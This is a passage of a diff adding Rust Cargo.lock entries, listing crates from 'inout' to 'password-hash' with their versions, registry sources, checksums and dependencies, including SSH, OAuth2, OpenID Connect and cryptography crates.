| 2737 | + | [[package]] | |
| 2738 | + | name = "inout" | |
| 2739 | + | version = "0.1.4" | |
| 2740 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2741 | + | checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01" | |
| 2742 | + | dependencies = [ | |
| 2743 | + | "block-padding", | |
| 2744 | + | "generic-array", | |
| 2745 | + | ] | |
| 2746 | + | ||
| 2747 | + | [[package]] | |
| 2748 | + | name = "internal-russh-forked-ssh-key" | |
| 2749 | + | version = "0.6.10+upstream-0.6.7" | |
| 2750 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2751 | + | checksum = "33555bd765ace379fe85d97bb6d48b5783054f6048a7d5ec24cd9155e490e266" | |
| 2752 | + | dependencies = [ | |
| 2753 | + | "argon2", | |
| 2754 | + | "bcrypt-pbkdf", | |
| 2755 | + | "ecdsa", | |
| 2756 | + | "ed25519-dalek", | |
| 2757 | + | "hex", | |
| 2758 | + | "hmac", | |
| 2759 | + | "num-bigint-dig", | |
| 2760 | + | "p256", | |
| 2761 | + | "p384", | |
| 2762 | + | "p521", | |
| 2763 | + | "rand_core 0.6.4", | |
| 2764 | + | "rsa", | |
| 2765 | + | "sec1", | |
| 2766 | + | "sha1", | |
| 2767 | + | "sha2", | |
| 2768 | + | "signature", | |
| 2769 | + | "ssh-cipher", | |
| 2770 | + | "ssh-encoding", | |
| 2771 | + | "subtle", | |
| 2772 | + | "zeroize", | |
| 2773 | + | ] | |
| 2774 | + | ||
| 2775 | + | [[package]] | |
| 2776 | + | name = "ipnet" | |
| 2777 | + | version = "2.12.0" | |
| 2778 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2779 | + | checksum = "d98f6fed1fde3f8c21bc40a1abb88dd75e67924f9cffc3ef95607bad8017f8e2" | |
| 2780 | + | ||
| 2781 | + | [[package]] | |
| 2782 | + | name = "ipnetwork" | |
| 2783 | + | version = "0.20.0" | |
| 2784 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2785 | + | checksum = "bf466541e9d546596ee94f9f69590f89473455f88372423e0008fc1a7daf100e" | |
| 2786 | + | dependencies = [ | |
| 2787 | + | "serde", | |
| 2788 | + | ] | |
| 2789 | + | ||
| 2790 | + | [[package]] | |
| 2791 | + | name = "is_terminal_polyfill" | |
| 2792 | + | version = "1.70.2" | |
| 2793 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2794 | + | checksum = "a6cb138bb79a146c1bd460005623e142ef0181e3d0219cb493e02f7d08a35695" | |
| 2795 | + | ||
| 2796 | + | [[package]] | |
| 2797 | + | name = "itertools" | |
| 2798 | + | version = "0.10.5" | |
| 2799 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2800 | + | checksum = "b0fd2260e829bddf4cb6ea802289de2f86d6a7a690192fbe91b3f46e0f2c8473" | |
| 2801 | + | dependencies = [ | |
| 2802 | + | "either", | |
| 2803 | + | ] | |
| 2804 | + | ||
| 2805 | + | [[package]] | |
| 2806 | + | name = "itoa" | |
| 2807 | + | version = "1.0.18" | |
| 2808 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2809 | + | checksum = "8f42a60cbdf9a97f5d2305f08a87dc4e09308d1276d28c869c684d7777685682" | |
| 2810 | + | ||
| 2811 | + | [[package]] | |
| 2812 | + | name = "jiff" | |
| 2813 | + | version = "0.2.35" | |
| 2814 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2815 | + | checksum = "668b7183bd07af9a4885f5c35b0cc5c83c4607a913c16b7e17291832910d2dcc" | |
| 2816 | + | dependencies = [ | |
| 2817 | + | "defmt", | |
| 2818 | + | "jiff-core", | |
| 2819 | + | "jiff-static", | |
| 2820 | + | "jiff-tzdb-platform", | |
| 2821 | + | "log", | |
| 2822 | + | "portable-atomic", | |
| 2823 | + | "portable-atomic-util", | |
| 2824 | + | "serde_core", | |
| 2825 | + | "windows-link", | |
| 2826 | + | ] | |
| 2827 | + | ||
| 2828 | + | [[package]] | |
| 2829 | + | name = "jiff-core" | |
| 2830 | + | version = "0.1.0" | |
| 2831 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2832 | + | checksum = "7feca88439efe53da3754500c1851dedf3cb36c524dd5cf8225cc0794de95d09" | |
| 2833 | + | dependencies = [ | |
| 2834 | + | "defmt", | |
| 2835 | + | ] | |
| 2836 | + | ||
| 2837 | + | [[package]] | |
| 2838 | + | name = "jiff-static" | |
| 2839 | + | version = "0.2.35" | |
| 2840 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2841 | + | checksum = "3a69dcb3a21cfb32ce1cd056169337ca284af0766dd766e7878819b251a49204" | |
| 2842 | + | dependencies = [ | |
| 2843 | + | "jiff-core", | |
| 2844 | + | "proc-macro2", | |
| 2845 | + | "quote", | |
| 2846 | + | "syn 2.0.119", | |
| 2847 | + | ] | |
| 2848 | + | ||
| 2849 | + | [[package]] | |
| 2850 | + | name = "jiff-tzdb" | |
| 2851 | + | version = "0.1.8" | |
| 2852 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2853 | + | checksum = "142bd39932ad231f10513df9ab62661fead8719872150b7ad02a2df79f4e141e" | |
| 2854 | + | ||
| 2855 | + | [[package]] | |
| 2856 | + | name = "jiff-tzdb-platform" | |
| 2857 | + | version = "0.1.3" | |
| 2858 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2859 | + | checksum = "875a5a69ac2bab1a891711cf5eccbec1ce0341ea805560dcd90b7a2e925132e8" | |
| 2860 | + | dependencies = [ | |
| 2861 | + | "jiff-tzdb", | |
| 2862 | + | ] | |
| 2863 | + | ||
| 2864 | + | [[package]] | |
| 2865 | + | name = "jobserver" | |
| 2866 | + | version = "0.1.35" | |
| 2867 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2868 | + | checksum = "1c00acbd29eabad4a2392fa0e921c874934dbbf4194312ad20f04a0ed67a3cb3" | |
| 2869 | + | dependencies = [ | |
| 2870 | + | "getrandom 0.4.3", | |
| 2871 | + | "libc", | |
| 2872 | + | ] | |
| 2873 | + | ||
| 2874 | + | [[package]] | |
| 2875 | + | name = "js-sys" | |
| 2876 | + | version = "0.3.103" | |
| 2877 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2878 | + | checksum = "53b44bfcdb3f8d5837a46dae1ca9660a837176eee74a28b229bc626816589102" | |
| 2879 | + | dependencies = [ | |
| 2880 | + | "cfg-if", | |
| 2881 | + | "futures-util", | |
| 2882 | + | "wasm-bindgen", | |
| 2883 | + | ] | |
| 2884 | + | ||
| 2885 | + | [[package]] | |
| 2886 | + | name = "kstring" | |
| 2887 | + | version = "2.0.4" | |
| 2888 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2889 | + | checksum = "b609e7ca5ea38f093c20a4a102335b247221c9643b7a6bc3510f196f99499a9e" | |
| 2890 | + | dependencies = [ | |
| 2891 | + | "static_assertions", | |
| 2892 | + | ] | |
| 2893 | + | ||
| 2894 | + | [[package]] | |
| 2895 | + | name = "lazy_static" | |
| 2896 | + | version = "1.5.0" | |
| 2897 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2898 | + | checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" | |
| 2899 | + | dependencies = [ | |
| 2900 | + | "spin", | |
| 2901 | + | ] | |
| 2902 | + | ||
| 2903 | + | [[package]] | |
| 2904 | + | name = "libc" | |
| 2905 | + | version = "0.2.189" | |
| 2906 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2907 | + | checksum = "3eaf3ede3fee6db1a4c2ee091bf8a8b4dccdc6d17f656fb07896ee72867612f2" | |
| 2908 | + | ||
| 2909 | + | [[package]] | |
| 2910 | + | name = "libm" | |
| 2911 | + | version = "0.2.16" | |
| 2912 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2913 | + | checksum = "b6d2cec3eae94f9f509c767b45932f1ada8350c4bdb85af2fcab4a3c14807981" | |
| 2914 | + | ||
| 2915 | + | [[package]] | |
| 2916 | + | name = "libredox" | |
| 2917 | + | version = "0.1.18" | |
| 2918 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2919 | + | checksum = "c943259e342f1e06ff2da7a83eabdfe7f92ce10262688dbf1895ff0b3e6e4652" | |
| 2920 | + | dependencies = [ | |
| 2921 | + | "bitflags 2.13.1", | |
| 2922 | + | "libc", | |
| 2923 | + | "plain", | |
| 2924 | + | "redox_syscall 0.9.1", | |
| 2925 | + | ] | |
| 2926 | + | ||
| 2927 | + | [[package]] | |
| 2928 | + | name = "libsqlite3-sys" | |
| 2929 | + | version = "0.30.1" | |
| 2930 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2931 | + | checksum = "2e99fb7a497b1e3339bc746195567ed8d3e24945ecd636e3619d20b9de9e9149" | |
| 2932 | + | dependencies = [ | |
| 2933 | + | "pkg-config", | |
| 2934 | + | "vcpkg", | |
| 2935 | + | ] | |
| 2936 | + | ||
| 2937 | + | [[package]] | |
| 2938 | + | name = "linked-hash-map" | |
| 2939 | + | version = "0.5.6" | |
| 2940 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2941 | + | checksum = "0717cef1bc8b636c6e1c1bbdefc09e6322da8a9321966e8928ef80d20f7f770f" | |
| 2942 | + | ||
| 2943 | + | [[package]] | |
| 2944 | + | name = "linux-raw-sys" | |
| 2945 | + | version = "0.4.15" | |
| 2946 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2947 | + | checksum = "d26c52dbd32dccf2d10cac7725f8eae5296885fb5703b261f7d0a0739ec807ab" | |
| 2948 | + | ||
| 2949 | + | [[package]] | |
| 2950 | + | name = "linux-raw-sys" | |
| 2951 | + | version = "0.12.1" | |
| 2952 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2953 | + | checksum = "32a66949e030da00e8c7d4434b251670a91556f4144941d37452769c25d58a53" | |
| 2954 | + | ||
| 2955 | + | [[package]] | |
| 2956 | + | name = "litemap" | |
| 2957 | + | version = "0.8.2" | |
| 2958 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2959 | + | checksum = "92daf443525c4cce67b150400bc2316076100ce0b3686209eb8cf3c31612e6f0" | |
| 2960 | + | ||
| 2961 | + | [[package]] | |
| 2962 | + | name = "lock_api" | |
| 2963 | + | version = "0.4.14" | |
| 2964 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2965 | + | checksum = "224399e74b87b5f3557511d98dff8b14089b3dadafcab6bb93eab67d3aace965" | |
| 2966 | + | dependencies = [ | |
| 2967 | + | "scopeguard", | |
| 2968 | + | ] | |
| 2969 | + | ||
| 2970 | + | [[package]] | |
| 2971 | + | name = "log" | |
| 2972 | + | version = "0.4.33" | |
| 2973 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2974 | + | checksum = "0ceec5bc11778974d1bcb055b18002eba7f4b3518b6a0081b3af5f21666da9ad" | |
| 2975 | + | ||
| 2976 | + | [[package]] | |
| 2977 | + | name = "lru" | |
| 2978 | + | version = "0.12.5" | |
| 2979 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2980 | + | checksum = "234cf4f4a04dc1f57e24b96cc0cd600cf2af460d4161ac5ecdd0af8e1f3b2a38" | |
| 2981 | + | dependencies = [ | |
| 2982 | + | "hashbrown 0.15.5", | |
| 2983 | + | ] | |
| 2984 | + | ||
| 2985 | + | [[package]] | |
| 2986 | + | name = "lru-slab" | |
| 2987 | + | version = "0.1.2" | |
| 2988 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2989 | + | checksum = "112b39cec0b298b6c1999fee3e31427f74f676e4cb9879ed1a121b43661a4154" | |
| 2990 | + | ||
| 2991 | + | [[package]] | |
| 2992 | + | name = "maplit" | |
| 2993 | + | version = "1.0.2" | |
| 2994 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2995 | + | checksum = "3e2e65a1a2e43cfcb47a895c4c8b10d1f4a61097f9f254f183aee60cad9c651d" | |
| 2996 | + | ||
| 2997 | + | [[package]] | |
| 2998 | + | name = "markup5ever" | |
| 2999 | + | version = "0.39.0" | |
| 3000 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3001 | + | checksum = "7122d987ec5f704ee56f6e5b41a7d93722e9aae27ae07cafa4036c4d3f9757de" | |
| 3002 | + | dependencies = [ | |
| 3003 | + | "log", | |
| 3004 | + | "tendril", | |
| 3005 | + | "web_atoms", | |
| 3006 | + | ] | |
| 3007 | + | ||
| 3008 | + | [[package]] | |
| 3009 | + | name = "matchers" | |
| 3010 | + | version = "0.2.0" | |
| 3011 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3012 | + | checksum = "d1525a2a28c7f4fa0fc98bb91ae755d1e2d1505079e05539e35bc876b5d65ae9" | |
| 3013 | + | dependencies = [ | |
| 3014 | + | "regex-automata", | |
| 3015 | + | ] | |
| 3016 | + | ||
| 3017 | + | [[package]] | |
| 3018 | + | name = "matchit" | |
| 3019 | + | version = "0.8.4" | |
| 3020 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3021 | + | checksum = "47e1ffaa40ddd1f3ed91f717a33c8c0ee23fff369e3aa8772b9605cc1d22f4c3" | |
| 3022 | + | ||
| 3023 | + | [[package]] | |
| 3024 | + | name = "maud" | |
| 3025 | + | version = "0.27.0" | |
| 3026 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3027 | + | checksum = "8156733e27020ea5c684db5beac5d1d611e1272ab17901a49466294b84fc217e" | |
| 3028 | + | dependencies = [ | |
| 3029 | + | "axum-core", | |
| 3030 | + | "http", | |
| 3031 | + | "itoa", | |
| 3032 | + | "maud_macros", | |
| 3033 | + | ] | |
| 3034 | + | ||
| 3035 | + | [[package]] | |
| 3036 | + | name = "maud_macros" | |
| 3037 | + | version = "0.27.0" | |
| 3038 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3039 | + | checksum = "7261b00f3952f617899bc012e3dbd56e4f0110a038175929fa5d18e5a19913ca" | |
| 3040 | + | dependencies = [ | |
| 3041 | + | "proc-macro2", | |
| 3042 | + | "proc-macro2-diagnostics", | |
| 3043 | + | "quote", | |
| 3044 | + | "syn 2.0.119", | |
| 3045 | + | ] | |
| 3046 | + | ||
| 3047 | + | [[package]] | |
| 3048 | + | name = "md-5" | |
| 3049 | + | version = "0.10.6" | |
| 3050 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3051 | + | checksum = "d89e7ee0cfbedfc4da3340218492196241d89eefb6dab27de5df917a6d2e78cf" | |
| 3052 | + | dependencies = [ | |
| 3053 | + | "cfg-if", | |
| 3054 | + | "digest", | |
| 3055 | + | ] | |
| 3056 | + | ||
| 3057 | + | [[package]] | |
| 3058 | + | name = "md5" | |
| 3059 | + | version = "0.7.0" | |
| 3060 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3061 | + | checksum = "490cc448043f947bae3cbee9c203358d62dbee0db12107a74be5c30ccfd09771" | |
| 3062 | + | ||
| 3063 | + | [[package]] | |
| 3064 | + | name = "memchr" | |
| 3065 | + | version = "2.8.3" | |
| 3066 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3067 | + | checksum = "cf8baf1c55e62ffcace7a9f06f4bd9cd3f0c4beb022d3b367256b91b87513d98" | |
| 3068 | + | ||
| 3069 | + | [[package]] | |
| 3070 | + | name = "memmap2" | |
| 3071 | + | version = "0.9.11" | |
| 3072 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3073 | + | checksum = "d1219ed1b7f229ee7104d281dd01d6802fe28bb6e95d292942c4daacdeb798c0" | |
| 3074 | + | dependencies = [ | |
| 3075 | + | "libc", | |
| 3076 | + | ] | |
| 3077 | + | ||
| 3078 | + | [[package]] | |
| 3079 | + | name = "mime" | |
| 3080 | + | version = "0.3.17" | |
| 3081 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3082 | + | checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a" | |
| 3083 | + | ||
| 3084 | + | [[package]] | |
| 3085 | + | name = "miniz_oxide" | |
| 3086 | + | version = "0.8.9" | |
| 3087 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3088 | + | checksum = "1fa76a2c86f704bdb222d66965fb3d63269ce38518b83cb0575fca855ebb6316" | |
| 3089 | + | dependencies = [ | |
| 3090 | + | "adler2", | |
| 3091 | + | "simd-adler32", | |
| 3092 | + | ] | |
| 3093 | + | ||
| 3094 | + | [[package]] | |
| 3095 | + | name = "mio" | |
| 3096 | + | version = "1.2.2" | |
| 3097 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3098 | + | checksum = "30d65c71f1ce40ab09135ce117d742b9f8a19ff91a41a8b57ed50bc2de59c427" | |
| 3099 | + | dependencies = [ | |
| 3100 | + | "libc", | |
| 3101 | + | "wasi", | |
| 3102 | + | "windows-sys 0.61.2", | |
| 3103 | + | ] | |
| 3104 | + | ||
| 3105 | + | [[package]] | |
| 3106 | + | name = "new_debug_unreachable" | |
| 3107 | + | version = "1.0.6" | |
| 3108 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3109 | + | checksum = "650eef8c711430f1a879fdd01d4745a7deea475becfb90269c06775983bbf086" | |
| 3110 | + | ||
| 3111 | + | [[package]] | |
| 3112 | + | name = "nix" | |
| 3113 | + | version = "0.29.0" | |
| 3114 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3115 | + | checksum = "71e2746dc3a24dd78b3cfcb7be93368c6de9963d30f43a6a73998a9cf4b17b46" | |
| 3116 | + | dependencies = [ | |
| 3117 | + | "bitflags 2.13.1", | |
| 3118 | + | "cfg-if", | |
| 3119 | + | "cfg_aliases", | |
| 3120 | + | "libc", | |
| 3121 | + | ] | |
| 3122 | + | ||
| 3123 | + | [[package]] | |
| 3124 | + | name = "nu-ansi-term" | |
| 3125 | + | version = "0.50.3" | |
| 3126 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3127 | + | checksum = "7957b9740744892f114936ab4a57b3f487491bbeafaf8083688b16841a4240e5" | |
| 3128 | + | dependencies = [ | |
| 3129 | + | "windows-sys 0.61.2", | |
| 3130 | + | ] | |
| 3131 | + | ||
| 3132 | + | [[package]] | |
| 3133 | + | name = "num-bigint" | |
| 3134 | + | version = "0.4.8" | |
| 3135 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3136 | + | checksum = "c89e69e7e0f03bea5ef08013795c25018e101932225a656383bd384495ecc367" | |
| 3137 | + | dependencies = [ | |
| 3138 | + | "num-integer", | |
| 3139 | + | "num-traits", | |
| 3140 | + | "rand 0.8.7", | |
| 3141 | + | ] | |
| 3142 | + | ||
| 3143 | + | [[package]] | |
| 3144 | + | name = "num-bigint-dig" | |
| 3145 | + | version = "0.8.6" | |
| 3146 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3147 | + | checksum = "e661dda6640fad38e827a6d4a310ff4763082116fe217f279885c97f511bb0b7" | |
| 3148 | + | dependencies = [ | |
| 3149 | + | "lazy_static", | |
| 3150 | + | "libm", | |
| 3151 | + | "num-integer", | |
| 3152 | + | "num-iter", | |
| 3153 | + | "num-traits", | |
| 3154 | + | "rand 0.8.7", | |
| 3155 | + | "smallvec", | |
| 3156 | + | "zeroize", | |
| 3157 | + | ] | |
| 3158 | + | ||
| 3159 | + | [[package]] | |
| 3160 | + | name = "num-conv" | |
| 3161 | + | version = "0.2.2" | |
| 3162 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3163 | + | checksum = "521739c6d2bac4aa25192232afe6841231376b2b26d4d9fae5ecf8ca5772e441" | |
| 3164 | + | ||
| 3165 | + | [[package]] | |
| 3166 | + | name = "num-integer" | |
| 3167 | + | version = "0.1.46" | |
| 3168 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3169 | + | checksum = "7969661fd2958a5cb096e56c8e1ad0444ac2bbcd0061bd28660485a44879858f" | |
| 3170 | + | dependencies = [ | |
| 3171 | + | "num-traits", | |
| 3172 | + | ] | |
| 3173 | + | ||
| 3174 | + | [[package]] | |
| 3175 | + | name = "num-iter" | |
| 3176 | + | version = "0.1.46" | |
| 3177 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3178 | + | checksum = "c92800bd69a1eac91786bcfe9da64a897eb72911b8dc3095decbd07429e8048b" | |
| 3179 | + | dependencies = [ | |
| 3180 | + | "num-integer", | |
| 3181 | + | "num-traits", | |
| 3182 | + | ] | |
| 3183 | + | ||
| 3184 | + | [[package]] | |
| 3185 | + | name = "num-traits" | |
| 3186 | + | version = "0.2.19" | |
| 3187 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3188 | + | checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841" | |
| 3189 | + | dependencies = [ | |
| 3190 | + | "autocfg", | |
| 3191 | + | "libm", | |
| 3192 | + | ] | |
| 3193 | + | ||
| 3194 | + | [[package]] | |
| 3195 | + | name = "oauth2" | |
| 3196 | + | version = "5.0.0" | |
| 3197 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3198 | + | checksum = "51e219e79014df21a225b1860a479e2dcd7cbd9130f4defd4bd0e191ea31d67d" | |
| 3199 | + | dependencies = [ | |
| 3200 | + | "base64 0.22.1", | |
| 3201 | + | "chrono", | |
| 3202 | + | "getrandom 0.2.17", | |
| 3203 | + | "http", | |
| 3204 | + | "rand 0.8.7", | |
| 3205 | + | "reqwest", | |
| 3206 | + | "serde", | |
| 3207 | + | "serde_json", | |
| 3208 | + | "serde_path_to_error", | |
| 3209 | + | "sha2", | |
| 3210 | + | "thiserror 1.0.69", | |
| 3211 | + | "url", | |
| 3212 | + | ] | |
| 3213 | + | ||
| 3214 | + | [[package]] | |
| 3215 | + | name = "once_cell" | |
| 3216 | + | version = "1.21.4" | |
| 3217 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3218 | + | checksum = "9f7c3e4beb33f85d45ae3e3a1792185706c8e16d043238c593331cc7cd313b50" | |
| 3219 | + | ||
| 3220 | + | [[package]] | |
| 3221 | + | name = "once_cell_polyfill" | |
| 3222 | + | version = "1.70.2" | |
| 3223 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3224 | + | checksum = "384b8ab6d37215f3c5301a95a4accb5d64aa607f1fcb26a11b5303878451b4fe" | |
| 3225 | + | ||
| 3226 | + | [[package]] | |
| 3227 | + | name = "onig" | |
| 3228 | + | version = "6.5.3" | |
| 3229 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3230 | + | checksum = "0cc3cbf698f9438986c11a880c90a6d04b9de27575afd28bbf45b154b6c709e2" | |
| 3231 | + | dependencies = [ | |
| 3232 | + | "bitflags 2.13.1", | |
| 3233 | + | "libc", | |
| 3234 | + | "once_cell", | |
| 3235 | + | "onig_sys", | |
| 3236 | + | ] | |
| 3237 | + | ||
| 3238 | + | [[package]] | |
| 3239 | + | name = "onig_sys" | |
| 3240 | + | version = "69.9.3" | |
| 3241 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3242 | + | checksum = "1e68317604e77e53b85896388e1a803c1d21b74c899ec9e5e1112db90735edd7" | |
| 3243 | + | dependencies = [ | |
| 3244 | + | "cc", | |
| 3245 | + | "pkg-config", | |
| 3246 | + | ] | |
| 3247 | + | ||
| 3248 | + | [[package]] | |
| 3249 | + | name = "opaque-debug" | |
| 3250 | + | version = "0.3.1" | |
| 3251 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3252 | + | checksum = "c08d65885ee38876c4f86fa503fb49d7b507c2b62552df7c70b2fce627e06381" | |
| 3253 | + | ||
| 3254 | + | [[package]] | |
| 3255 | + | name = "openidconnect" | |
| 3256 | + | version = "4.0.1" | |
| 3257 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3258 | + | checksum = "0d8c6709ba2ea764bbed26bce1adf3c10517113ddea6f2d4196e4851757ef2b2" | |
| 3259 | + | dependencies = [ | |
| 3260 | + | "base64 0.21.7", | |
| 3261 | + | "chrono", | |
| 3262 | + | "dyn-clone", | |
| 3263 | + | "ed25519-dalek", | |
| 3264 | + | "hmac", | |
| 3265 | + | "http", | |
| 3266 | + | "itertools", | |
| 3267 | + | "log", | |
| 3268 | + | "oauth2", | |
| 3269 | + | "p256", | |
| 3270 | + | "p384", | |
| 3271 | + | "rand 0.8.7", | |
| 3272 | + | "rsa", | |
| 3273 | + | "serde", | |
| 3274 | + | "serde-value", | |
| 3275 | + | "serde_json", | |
| 3276 | + | "serde_path_to_error", | |
| 3277 | + | "serde_plain", | |
| 3278 | + | "serde_with", | |
| 3279 | + | "sha2", | |
| 3280 | + | "subtle", | |
| 3281 | + | "thiserror 1.0.69", | |
| 3282 | + | "url", | |
| 3283 | + | ] | |
| 3284 | + | ||
| 3285 | + | [[package]] | |
| 3286 | + | name = "ordered-float" | |
| 3287 | + | version = "2.10.1" | |
| 3288 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3289 | + | checksum = "68f19d67e5a2795c94e73e0bb1cc1a7edeb2e28efd39e2e1c9b7a40c1108b11c" | |
| 3290 | + | dependencies = [ | |
| 3291 | + | "num-traits", | |
| 3292 | + | ] | |
| 3293 | + | ||
| 3294 | + | [[package]] | |
| 3295 | + | name = "p256" | |
| 3296 | + | version = "0.13.2" | |
| 3297 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3298 | + | checksum = "c9863ad85fa8f4460f9c48cb909d38a0d689dba1f6f6988a5e3e0d31071bcd4b" | |
| 3299 | + | dependencies = [ | |
| 3300 | + | "ecdsa", | |
| 3301 | + | "elliptic-curve", | |
| 3302 | + | "primeorder", | |
| 3303 | + | "sha2", | |
| 3304 | + | ] | |
| 3305 | + | ||
| 3306 | + | [[package]] | |
| 3307 | + | name = "p384" | |
| 3308 | + | version = "0.13.1" | |
| 3309 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3310 | + | checksum = "fe42f1670a52a47d448f14b6a5c61dd78fce51856e68edaa38f7ae3a46b8d6b6" | |
| 3311 | + | dependencies = [ | |
| 3312 | + | "ecdsa", | |
| 3313 | + | "elliptic-curve", | |
| 3314 | + | "primeorder", | |
| 3315 | + | "sha2", | |
| 3316 | + | ] | |
| 3317 | + | ||
| 3318 | + | [[package]] | |
| 3319 | + | name = "p521" | |
| 3320 | + | version = "0.13.3" | |
| 3321 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3322 | + | checksum = "0fc9e2161f1f215afdfce23677034ae137bbd45016a880c2eb3ba8eb95f085b2" | |
| 3323 | + | dependencies = [ | |
| 3324 | + | "base16ct", | |
| 3325 | + | "ecdsa", | |
| 3326 | + | "elliptic-curve", | |
| 3327 | + | "primeorder", | |
| 3328 | + | "rand_core 0.6.4", | |
| 3329 | + | "sha2", | |
| 3330 | + | ] | |
| 3331 | + | ||
| 3332 | + | [[package]] | |
| 3333 | + | name = "pageant" | |
| 3334 | + | version = "0.0.3" | |
| 3335 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3336 | + | checksum = "bdd27df01428302f915ea74737fe88170dd1bab4cbd00ff9548ca85618fcd4e4" | |
| 3337 | + | dependencies = [ | |
| 3338 | + | "bytes", | |
| 3339 | + | "delegate", | |
| 3340 | + | "futures", | |
| 3341 | + | "log", | |
| 3342 | + | "rand 0.8.7", | |
| 3343 | + | "thiserror 1.0.69", | |
| 3344 | + | "tokio", | |
| 3345 | + | "windows", | |
| 3346 | + | ] | |
| 3347 | + | ||
| 3348 | + | [[package]] | |
| 3349 | + | name = "parking" | |
| 3350 | + | version = "2.2.1" | |
| 3351 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3352 | + | checksum = "f38d5652c16fde515bb1ecef450ab0f6a219d619a7274976324d5e377f7dceba" | |
| 3353 | + | ||
| 3354 | + | [[package]] | |
| 3355 | + | name = "parking_lot" | |
| 3356 | + | version = "0.12.5" | |
| 3357 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3358 | + | checksum = "93857453250e3077bd71ff98b6a65ea6621a19bb0f559a85248955ac12c45a1a" | |
| 3359 | + | dependencies = [ | |
| 3360 | + | "lock_api", | |
| 3361 | + | "parking_lot_core", | |
| 3362 | + | ] | |
| 3363 | + | ||
| 3364 | + | [[package]] | |
| 3365 | + | name = "parking_lot_core" | |
| 3366 | + | version = "0.9.12" | |
| 3367 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3368 | + | checksum = "2621685985a2ebf1c516881c026032ac7deafcda1a2c9b7850dc81e3dfcb64c1" | |
| 3369 | + | dependencies = [ | |
| 3370 | + | "cfg-if", | |
| 3371 | + | "libc", | |
| 3372 | + | "redox_syscall 0.5.18", | |
| 3373 | + | "smallvec", | |
| 3374 | + | "windows-link", | |
| 3375 | + | ] | |
| 3376 | + | ||
| 3377 | + | [[package]] | |
| 3378 | + | name = "password-hash" | |
| 3379 | + | version = "0.5.0" | |
| 3380 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3381 | + | checksum = "346f04948ba92c43e8469c1ee6736c7563d71012b17d40745260fe106aac2166" | |
| 3382 | + | dependencies = [ | |
| 3383 | + | "base64ct", | |
| 3384 | + | "rand_core 0.6.4", | |
| 3385 | + | "subtle", | |
| 3386 | + | ] | |
| 3387 | + | ||
